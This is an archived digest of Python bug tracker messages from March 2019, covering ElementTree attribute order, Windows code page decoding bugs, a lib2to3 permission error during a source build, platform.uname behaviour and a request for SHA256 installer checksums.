Also, lxml cannot support such a serialisation option because it preserves the order of attributes as soon as they are *created*. It previously also sorted dicts on input, but only dicts and not other (sequential) ways to set attributes, which I always considered a necessary quirk to gain reproducible output. I'm planning to remove the sorting for Py3.6+ in the next release. It is better to leave the decision about attribute order entirely to the users.

It's not difficult to get sorted dict behaviour in Py3.6+ if you really want it (walk the tree and sort each el.attrib if you feel like it), but it's currently impossible to _not_ get sorted attributes but the "expected" order of creation. That's what we should fix.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:06:40 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 16 Mar 2019 08:06:40 +0000
Subject: [issue36311] Flaw in Windows code page decoder for large input
Message-ID: <1552723600.79.0.686719955113.issue36311@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

There is a flaw in PyUnicode_DecodeCodePageStateful() (exposed as _codecs.code_page_decode() at Python level). Since MultiByteToWideChar() takes the size of the input as C int, it can not be used for decoding more than 2 GiB. Large input is split on chunks of size 2 GiB which are decoded separately. The problem is if it split in the middle of a multibyte character. In this case decoding chunks will always fail or replace incomplete parts of the multibyte character at both ends with what the error handler returns.

It is hard to reproduce this bug, because you need to decode more than 2 GiB, and you will need at least 14 GiB of RAM for this (maybe more).

----------
components: Interpreter Core, Windows
messages: 338061
nosy: doerwalter, lemburg, paul.moore, serhiy.storchaka, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Flaw in Windows code page decoder for large input
type: behavior
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36311>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:07:36 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sat, 16 Mar 2019 08:07:36 +0000
Subject: [issue14189] Documentation for some C APIs is missing clear
 specification of the type of reference they return
In-Reply-To: <1330834739.26.0.103894619612.issue14189@psf.upfronthosting.co.za>
Message-ID: <1552723656.63.0.0732447374616.issue14189@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

I would like to work on this issue.

----------
nosy: +matrixise
versions: +Python 3.8 -Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14189>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:09:20 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Sat, 16 Mar 2019 08:09:20 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552723760.76.0.848975360557.issue34160@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

@scoder

ok, we can close my PR and I will submit a patch to docutils.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:22:30 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 16 Mar 2019 08:22:30 +0000
Subject: [issue14189] Documentation for some C APIs is missing clear
 specification of the type of reference they return
In-Reply-To: <1330834739.26.0.103894619612.issue14189@psf.upfronthosting.co.za>
Message-ID: <1552724550.54.0.922574291473.issue14189@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

This may be fixed recently (see issue18085, issue32077, issue35475 etc). Just check that this is true for all reported functions.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14189>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:24:36 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 16 Mar 2019 08:24:36 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552724676.45.0.063962310066.issue34160@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Is not PR 12354 a duplicate of PR 10452?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:26:26 2019
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 16 Mar 2019 08:26:26 +0000
Subject: [issue3905] subprocess failing in GUI applications on Windows
In-Reply-To: <1221779222.6.0.581055626962.issue3905@psf.upfronthosting.co.za>
Message-ID: <1552724786.42.0.348940386476.issue3905@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> I am closing this as out of date because the problem seems to have been 
> fixed elsewise.

This is a problem only in Windows 7, which we should have addressed years ago. It's common enough that we shouldn't leave it as just an unresolved third-party issue. I discussed the problem and suggested a workaround in issue 25492, which I closed as a duplicate of this issue four years ago.

----------
resolution: out of date -> 
stage: resolved -> 
type:  -> behavior
versions: +Python 3.7, Python 3.8 -Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue3905>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:42:31 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 16 Mar 2019 08:42:31 +0000
Subject: [issue14934] generator objects can clear their weakrefs before being
 resurrected
In-Reply-To: <1338211208.4.0.755454859587.issue14934@psf.upfronthosting.co.za>
Message-ID: <1552725751.53.0.202227630775.issue14934@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
versions: +Python 3.8 -Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue14934>
_______________________________________

From report at bugs.python.org  Sat Mar 16 04:59:08 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 16 Mar 2019 08:59:08 +0000
Subject: [issue36312] Invalid flag for some code page decoders
Message-ID: <1552726748.1.0.995612438191.issue36312@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

>From https://docs.microsoft.com/en-us/windows/desktop/api/stringapiset/nf-stringapiset-multibytetowidechar:

For the code pages listed below, dwFlags must be set to 0. Otherwise, the function fails with ERROR_INVALID_FLAGS.

    50220
    50221
    50222
    50225
    50227
    50229
    57002 through 57011
    65000 (UTF-7)
    42 (Symbol)

But currently in PyUnicode_DecodeCodePageStateful() it is set to MB_ERR_INVALID_CHARS for all code pages except CP_UTF7. This causes an error for all other code pages list above.

>>> codecs.code_page_decode(50220, b'abc')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [WinError 1004] Invalid flags

----------
components: Interpreter Core, Windows
messages: 338067
nosy: doerwalter, lemburg, paul.moore, serhiy.storchaka, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Invalid flag for some code page decoders
type: behavior
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36312>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:00:27 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 16 Mar 2019 09:00:27 +0000
Subject: [issue22587] os.path.abspath(None) behavior is inconsistent between
 platforms
In-Reply-To: <1412873773.97.0.374832942416.issue22587@psf.upfronthosting.co.za>
Message-ID: <1552726827.22.0.0785682407931.issue22587@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

I'm closing this bug as fixed as TypeError is being raised on Linux on 3.7.2 (I think it was fixed for all platforms, due to work on path-like interface in 3.6). I don't think it's worth implementing this in 2.7 at this stage.

----------
nosy: +SilentGhost
resolution:  -> fixed
stage:  -> resolved
status: open -> closed
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22587>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:03:54 2019
From: report at bugs.python.org (Bun Hin)
Date: Sat, 16 Mar 2019 09:03:54 +0000
Subject: [issue36313] error: [Errno 13] Permission denied:
 '/usr/local/lib/python3.7/lib2to3/Grammar3.7.2.final.0.pickle'
Message-ID: <1552727034.93.0.0772389993988.issue36313@roundup.psfhosted.org>


New submission from Bun Hin <cbunhin at yahoo.com>:

I get this error while installing some packages with pip3 inside an environment

using centOS 7 with python 3.7.2 as parallel install.
step to reproduce: (dependancies are installed)

rm -rf /usr/local/lib/python3.7
cd /root/
wget https://www.python.org/ftp/python/3.7.2/Python-3.7.2.tgz
tar -xzf Python-3.7.2.tgz
cd Python-3.7.2
./configure --prefix=/usr/local --enable-shared --enable-optimizations LDFLAGS="-Wl,-rpath /usr/local/lib"
make
make altinstall

adduser a-user

su - a-user
/usr/local/lib/python3.7 -m venv user-envn
source user-envn/bin/activate

pi3 install --upgrade pip
pip install pyusb==1.0.0

result with error:

Collecting pyusb==1.0.0
  Using cached https://files.pythonhosted.org/packages/8a/19/66fb48a4905e472f5dfeda3a1bafac369fbf6d6fc5cf55b780864962652d/PyUSB-1.0.0.tar.gz
    Complete output from command python setup.py egg_info:
    running egg_info
    creating pip-egg-info/pyusb.egg-info
    writing pip-egg-info/pyusb.egg-info/PKG-INFO
    writing dependency_links to pip-egg-info/pyusb.egg-info/dependency_links.txt
    writing top-level names to pip-egg-info/pyusb.egg-info/top_level.txt
    writing manifest file 'pip-egg-info/pyusb.egg-info/SOURCES.txt'
    error: [Errno 13] Permission denied: '/usr/local/lib/python3.7/lib2to3/Grammar3.7.2.final.0.pickle'

please help how to solve this

----------
components: 2to3 (2.x to 3.x conversion tool)
messages: 338069
nosy: bunhin
priority: normal
severity: normal
status: open
title: error: [Errno 13] Permission denied: '/usr/local/lib/python3.7/lib2to3/Grammar3.7.2.final.0.pickle'
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36313>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:07:30 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 16 Mar 2019 09:07:30 +0000
Subject: [issue3905] subprocess failing in GUI applications on Windows
In-Reply-To: <1221779222.6.0.581055626962.issue3905@psf.upfronthosting.co.za>
Message-ID: <1552727250.33.0.546546155723.issue3905@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Since Win 10 was released a year after Jun 2014, I must have still been on Win 7 when I saw the failure. I believe there have some patches to filenos and subprocess since, but I don't know the relation between filenos and file handles.  A current test on a Win 7 machine similar to what I did  would still be good.  Perhaps it would have been better to reopen #25492, but I am adding the current Windows people nosy here.

----------
nosy: +paul.moore, steve.dower, tim.golden, zach.ware -georg.brandl, jmfauth
stage:  -> test needed
status: closed -> open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue3905>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:18:39 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 16 Mar 2019 09:18:39 +0000
Subject: [issue10514] configure does not create accurate Makefile on AIX
In-Reply-To: <1290519521.61.0.0855233461913.issue10514@psf.upfronthosting.co.za>
Message-ID: <1552727919.09.0.215783761253.issue10514@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +David.Edelsohn

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10514>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:22:02 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 16 Mar 2019 09:22:02 +0000
Subject: [issue36313] error: [Errno 13] Permission denied:
 '/usr/local/lib/python3.7/lib2to3/Grammar3.7.2.final.0.pickle'
In-Reply-To: <1552727034.93.0.0772389993988.issue36313@roundup.psfhosted.org>
Message-ID: <1552728122.4.0.714572118477.issue36313@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

configure and make run as root might cause this. See also issue15317 that is a similar report for source install.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36313>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:22:38 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 16 Mar 2019 09:22:38 +0000
Subject: [issue36312] Invalid flag for some code page decoders
In-Reply-To: <1552726748.1.0.995612438191.issue36312@roundup.psfhosted.org>
Message-ID: <1552728158.32.0.570815612054.issue36312@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36312>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:23:20 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 16 Mar 2019 09:23:20 +0000
Subject: [issue10514] configure does not create accurate Makefile on AIX
In-Reply-To: <1290519521.61.0.0855233461913.issue10514@psf.upfronthosting.co.za>
Message-ID: <1552728200.26.0.112551448287.issue10514@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +Michael.Felt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10514>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:31:33 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 16 Mar 2019 09:31:33 +0000
Subject: [issue16961] No regression tests for -E and individual environment
 vars
In-Reply-To: <1358164994.53.0.497203238771.issue16961@psf.upfronthosting.co.za>
Message-ID: <1552728693.71.0.214967843126.issue16961@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

Nick, please re-open if you feel this issue is still relevant.

----------
nosy: +SilentGhost
resolution:  -> out of date
stage:  -> resolved

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue16961>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:36:24 2019
From: report at bugs.python.org (Bun Hin)
Date: Sat, 16 Mar 2019 09:36:24 +0000
Subject: [issue36313] error: [Errno 13] Permission denied:
 '/usr/local/lib/python3.7/lib2to3/Grammar3.7.2.final.0.pickle'
In-Reply-To: <1552727034.93.0.0772389993988.issue36313@roundup.psfhosted.org>
Message-ID: <1552728984.77.0.0802010313814.issue36313@roundup.psfhosted.org>


Bun Hin <cbunhin at yahoo.com> added the comment:

is there any better way to configure other than as root? because this python3.7 may be used by other user too

in a more strict environment,  compile it other than root (sudo) may not be allowed also.

using a user  may have permission issue as well right?  i am not sure here

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36313>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:39:43 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 16 Mar 2019 09:39:43 +0000
Subject: [issue9030] ctypes variable limits
In-Reply-To: <1276892210.09.0.679201213154.issue9030@psf.upfronthosting.co.za>
Message-ID: <1552729183.14.0.85632917221.issue9030@roundup.psfhosted.org>


SilentGhost <ghost.adh at runbox.com> added the comment:

Is this enhancement still relevant for ctypes or can the issue be closed as "won't fix"?

----------
nosy: +SilentGhost, amaury.forgeotdarc, belopolsky, meador.inge

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue9030>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:40:26 2019
From: report at bugs.python.org (Eryk Sun)
Date: Sat, 16 Mar 2019 09:40:26 +0000
Subject: [issue3905] subprocess failing in GUI applications on Windows
In-Reply-To: <1221779222.6.0.581055626962.issue3905@psf.upfronthosting.co.za>
Message-ID: <1552729226.19.0.164369231288.issue3905@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> A current test on a Win 7 machine similar to what I did  
> would still be good.  

Python 3.8 is the last version to support Windows 7 (i.e. NT 6.1). It should get bug fixes through Spring 2021, so we have a couple more years to fix this.

We should constrain the fix to just older versions of Windows (prior to 6.2) and the classic console file handles (i.e. the lower 2 bits are set such as 3, 7, 11) that they use. Otherwise a bad standard handle should fail the call.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue3905>
_______________________________________

From report at bugs.python.org  Sat Mar 16 05:51:33 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 16 Mar 2019 09:51:33 +0000
Subject: [issue35773] test_bdb fails on AIX bot (regression)
In-Reply-To: <1547812678.96.0.834885366728.issue35773@roundup.psfhosted.org>
Message-ID: <1552729893.22.0.0109343132795.issue35773@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +David.Edelsohn

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35773>
_______________________________________

From report at bugs.python.org  Sat Mar 16 06:10:25 2019
From: report at bugs.python.org (andrea crotti)
Date: Sat, 16 Mar 2019 10:10:25 +0000
Subject: [issue13670] Increase test coverage for pstats.py
In-Reply-To: <1325081609.19.0.540376222409.issue13670@psf.upfronthosting.co.za>
Message-ID: <1552731025.81.0.684681333667.issue13670@roundup.psfhosted.org>


andrea crotti <andrea.crotti.0 at gmail.com> added the comment:

It has been a long time but if it's still useful sure.

I can see some tests have been added in commit 863b1e4d0e95036bca4e97c1b8b2ca72c19790fb
but if these are still relevant I'm happy to go ahead.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue13670>
_______________________________________

From report at bugs.python.org  Sat Mar 16 06:21:57 2019
From: report at bugs.python.org (Paul Moore)
Date: Sat, 16 Mar 2019 10:21:57 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552731717.85.0.584970250597.issue36010@roundup.psfhosted.org>


Change by Paul Moore <p.f.moore at gmail.com>:


----------
keywords: +patch
pull_requests: +12330
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Sat Mar 16 06:26:57 2019
From: report at bugs.python.org (andrew-g)
Date: Sat, 16 Mar 2019 10:26:57 +0000
Subject: [issue35100] urllib.parse.unquote_to_bytes: needs "escape plus" option
In-Reply-To: <1540785354.09.0.788709270274.issue35100@psf.upfronthosting.co.za>
Message-ID: <1552732017.87.0.973060624851.issue35100@roundup.psfhosted.org>


Change by andrew-g <andrew at appliedpayments.co.za>:


----------
keywords: +patch
pull_requests: +12331
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35100>
_______________________________________

From report at bugs.python.org  Sat Mar 16 06:46:15 2019
From: report at bugs.python.org (Prakhar)
Date: Sat, 16 Mar 2019 10:46:15 +0000
Subject: [issue36314] Pivot_Table Docstring Error
Message-ID: <1552733175.66.0.0513065980559.issue36314@roundup.psfhosted.org>


New submission from Prakhar <prakharb13 at gmail.com>:

In the docstring of Pivot_table,np.median function should be used instead of np.mean.

File attached for reference.

----------
files: Screenshot 2019-03-16 at 4.15.25 PM.png
messages: 338077
nosy: prakharb
priority: normal
severity: normal
status: open
title: Pivot_Table Docstring Error
type: enhancement
versions: Python 3.7
Added file: https://bugs.python.org/file48210/Screenshot 2019-03-16 at 4.15.25 PM.png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36314>
_______________________________________

From report at bugs.python.org  Sat Mar 16 06:53:16 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Sat, 16 Mar 2019 10:53:16 +0000
Subject: [issue36314] Pivot_Table Docstring Error
In-Reply-To: <1552733175.66.0.0513065980559.issue36314@roundup.psfhosted.org>
Message-ID: <1552733596.71.0.860121558715.issue36314@roundup.psfhosted.org>


Karthikeyan Singaravelan <tir.karthi at gmail.com> added the comment:

By np I hope you mean numpy which is not a part of CPython and also pivot_table is part of pandas and could get a better resolution reporting on their repo.

----------
nosy: +xtreak

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36314>
_______________________________________

From report at bugs.python.org  Sat Mar 16 06:58:44 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 16 Mar 2019 10:58:44 +0000
Subject: [issue36314] Pivot_Table Docstring Error
In-Reply-To: <1552733175.66.0.0513065980559.issue36314@roundup.psfhosted.org>
Message-ID: <1552733924.62.0.0939183684269.issue36314@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36314>
_______________________________________

From report at bugs.python.org  Sat Mar 16 07:03:54 2019
From: report at bugs.python.org (Bun Hin)
Date: Sat, 16 Mar 2019 11:03:54 +0000
Subject: [issue15822] installed python may fail incorrectly trying to rebuild
 lib2to3 grammar pickles
In-Reply-To: <1346321126.73.0.788135574831.issue15822@psf.upfronthosting.co.za>
Message-ID: <1552734234.31.0.749937174745.issue15822@roundup.psfhosted.org>


Bun Hin <cbunhin at yahoo.com> added the comment:

I have similar problem with python 3.7.0 or 3.7.2,
how to fix my installation to get it work?

please help

Thanks

----------
nosy: +bunhin

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15822>
_______________________________________

From report at bugs.python.org  Sat Mar 16 07:45:20 2019
From: report at bugs.python.org (Paul Moore)
Date: Sat, 16 Mar 2019 11:45:20 +0000
Subject: [issue36010] Please provide a .zip Windows release of Python that is
 not crippled/for embedding only
In-Reply-To: <1550326820.19.0.863740875159.issue36010@roundup.psfhosted.org>
Message-ID: <1552736720.38.0.551619553387.issue36010@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

The referenced PR isn't working - in the nuget package, python.props still says to exclude venv (and indeed venv is still missing). There's a PC/layout/support/props.py file that includes the offending "remove venv" line. Does that need modifying too?

BTW, that file also removes ensurepip, even though options.py includes "pip" in the nuget package. That seems like it might be a bug?

I'm OK with making focused changes to get this working, but is there anywhere that documents the process by which the nuget distribution is generated (in terms of what the steps are and what the various files do?)

Update: I tried removing venv from props.py, but that didn't work. So I tried removing it from python.props as well, but still no joy. Any suggestions?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36010>
_______________________________________

From report at bugs.python.org  Sat Mar 16 08:34:18 2019
From: report at bugs.python.org (Marc-Andre Lemburg)
Date: Sat, 16 Mar 2019 12:34:18 +0000
Subject: [issue35967] Better platform.processor support
In-Reply-To: <1552067441.76.0.681230624793.issue35967@roundup.psfhosted.org>
Message-ID: <bec5e3bd-5332-2dc6-34c8-1efbd2d1352b@egenix.com>


Marc-Andre Lemburg <mal at egenix.com> added the comment:

On 08.03.2019 18:50, Jason R. Coombs wrote:
> 
>> It's also easy to bypass that by simply seeding the global cache
>> for uname(): _uname_cache. 
>> Or you could monkey-patch the platform module
>> in your utility to work around the circular reference.
> 
> I don't think these options are possible in the general case. It was what I attempted to do in the first place, but could not. Consider the situation where a namespace package is present or where a script uses pkg_resources to bootstrap itself (a very common case), or any other case where `platform.(anything)` is invoked before the "bypass" or "monkey-patch" has a chance to run. This happens when running the test suite for `cmdix` because pytest invokes pkg_resources to search for entry points and that code invokes `platform.system` (or similar) to evaluate environment markers long before the cmdix code has been imported.

I don't quite follow: since you are the author of the tool, you can of
course have your uname.py import platform and then apply one of the
above tricks, e.g.

"""
#!/usr/bin/env python3
import platform

# Seed uname cache to avoid calling uname
platform._uname_cache = platform.uname_result(
    system='Linux',
    node='moon',
    release='5.99.99',
    version='#1 SMP 2020',
    machine='x86_64',
    processor='x86_64')

print ('Hello from uname.py')
print ('platform.uname() = %r' % (platform.uname(),))
"""

> Here's what happens:
> 
> `platform.(anything)` runs `platform.uname` and `platform.uname` invokes `uname -p` in a subprocess _unconditionally_. Python doesn't provide hooks to monkey-patch that out before it gets invoked.

This is only true for the platform APIs which need information from
uname. Not in general.

>> Or you could call your utility something else.
> 
> The point of this utility is to supply "coreutils" using Python. It's derived from an abandoned project called "pycoreutils", one purpose of which is to provide the core utilities on a minimal Linux distribution that doesn't have uname. Another is to supply coreutils on Windows. Having an alternate name isn't really viable when the purpose is to supply that interface.
> 
> 
> I do think your considerations are reasonable, and I'm close to giving up. I look forward to your feedback on the 'resolved-late' branch.

I don't have anything against making calling of uname lazy.
I also don't have anything against return useful information
rather than "unknown".

Your PR is missing tests, though, to support that it actually
returns the same values are before for a set of common platforms.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35967>
_______________________________________

From report at bugs.python.org  Sat Mar 16 08:57:44 2019
From: report at bugs.python.org (Sujoy)
Date: Sat, 16 Mar 2019 12:57:44 +0000
Subject: [issue36315] Unable to install Python 3.7.2
Message-ID: <1552741064.95.0.392565036476.issue36315@roundup.psfhosted.org>


New submission from Sujoy <ecesujoy at gmail.com>:

Getting the following error while trying to install Python 3.7.2
0x80070002- The system can not find the file specified.
Log file has been attached.

----------
components: Installation
files: Python 3.7.2 (32-bit)_log.txt
messages: 338082
nosy: ecesujoy at gmail.com
priority: normal
severity: normal
status: open
title: Unable to install Python 3.7.2
type: behavior
versions: Python 3.7
Added file: https://bugs.python.org/file48211/Python 3.7.2 (32-bit)_log.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36315>
_______________________________________

From report at bugs.python.org  Sat Mar 16 09:18:34 2019
From: report at bugs.python.org (fazl)
Date: Sat, 16 Mar 2019 13:18:34 +0000
Subject: [issue36316] Provide SHA256 checksums for installers
Message-ID: <1552742314.29.0.141411546452.issue36316@roundup.psfhosted.org>


New submission from fazl <fazjobs at gmail.com>:

Python is widely used and should use more trustworthy checksums than MD5.

Even the successor to MD5 (SHA-1) was considered insecure in 2017. From https://nakedsecurity.sophos.com/2017/02/23/bang-sha-1-collides-at-38762cf7f55934b34d179ae6a4c80cadccbb7f0a/ :

"For many years [...] MD5 was widely used [...] but it is now forbidden in the cryptographic world because [...] MD5 collisions are easy to generate on purpose, so the algorithm can no longer be trusted."

----------
components: Installation
messages: 338083
nosy: fazl
priority: normal
severity: normal
status: open
title: Provide SHA256 checksums for installers
type: security
versions: Python 2.7, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36316>
_______________________________________

From report at bugs.python.org  Sat Mar 16 09:25:36 2019
From: report at bugs.python.org (SilentGhost)
Date: Sat, 16 Mar 2019 13:25:36 +0000
Subject: [issue36316] Provide SHA256 checksums for installers
In-Reply-To: <1552742314.29.0.141411546452.issue36316@roundup.psfhosted.org>
Message-ID: <1552742736.34.0.107122329809.issue36316@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +benjamin.peterson

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36316>
_______________________________________

From report at bugs.python.org  Sat Mar 16 10:45:05 2019
From: report at bugs.python.org (Kumar Akshay)
Date: Sat, 16 Mar 2019 14:45:05 +0000
Subject: [issue21269] Provide args and kwargs attributes on mock call objects
In-Reply-To: <1397681262.54.0.610859323151.issue21269@psf.upfronthosting.co.za>
Message-ID: <1552747505.93.0.223130753483.issue21269@roundup.psfhosted.org>


Kumar Akshay <k.akshay9721 at gmail.com> added the comment:

ping..?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21269>
_______________________________________

From report at bugs.python.org  Sat Mar 16 11:00:32 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 16 Mar 2019 15:00:32 +0000
Subject: [issue36312] Invalid flag for some code page decoders
In-Reply-To: <1552726748.1.0.995612438191.issue36312@roundup.psfhosted.org>
Message-ID: <1552748432.06.0.453495358111.issue36312@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
pull_requests: +12332
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36312>
_______________________________________

From report at bugs.python.org  Sat Mar 16 11:03:49 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Sat, 16 Mar 2019 15:03:49 +0000
Subject: [issue36317] Typo in documentation of _PyObject_FastCallDict
Message-ID: <1552748629.07.0.307872865471.issue36317@roundup.psfhosted.org>


New submission from R?mi Lapeyre <remi.lapeyre at henki.fr>:

Return result is documented as:

> Return the result on success. Raise an exception on return NULL on error.

I'm not absolutely sure but shouldn't that be "Raise an exception and return NULL on error."?

Or should it be "Raise an exception or return NULL on error."?

----------
components: Interpreter Core
messages: 338085
nosy: remi.lapeyre, vstinner
priority: normal
severity: normal
status: open
title: Typo in documentation of _PyObject_FastCallDict
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36317>
_______________________________________

From report at bugs.python.org  Sat Mar 16 11:52:03 2019
From: report at bugs.python.org (Zachary Ware)
Date: Sat, 16 Mar 2019 15:52:03 +0000
Subject: [issue10641] kill_python sometimes fails to kill processes on
 buildbots
In-Reply-To: <1291680941.62.0.188379478155.issue10641@psf.upfronthosting.co.za>
Message-ID: <1552751523.19.0.886847815395.issue10641@roundup.psfhosted.org>


Zachary Ware <zachary.ware at gmail.com> added the comment:

As kill_python.exe has been removed from PCbuild/ and this hasn't been a problem in recent years, I'm going to go ahead and close the issue.

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10641>
_______________________________________

From report at bugs.python.org  Sat Mar 16 12:46:39 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Sat, 16 Mar 2019 16:46:39 +0000
Subject: [issue36314] Pivot_Table Docstring Error
In-Reply-To: <1552733175.66.0.0513065980559.issue36314@roundup.psfhosted.org>
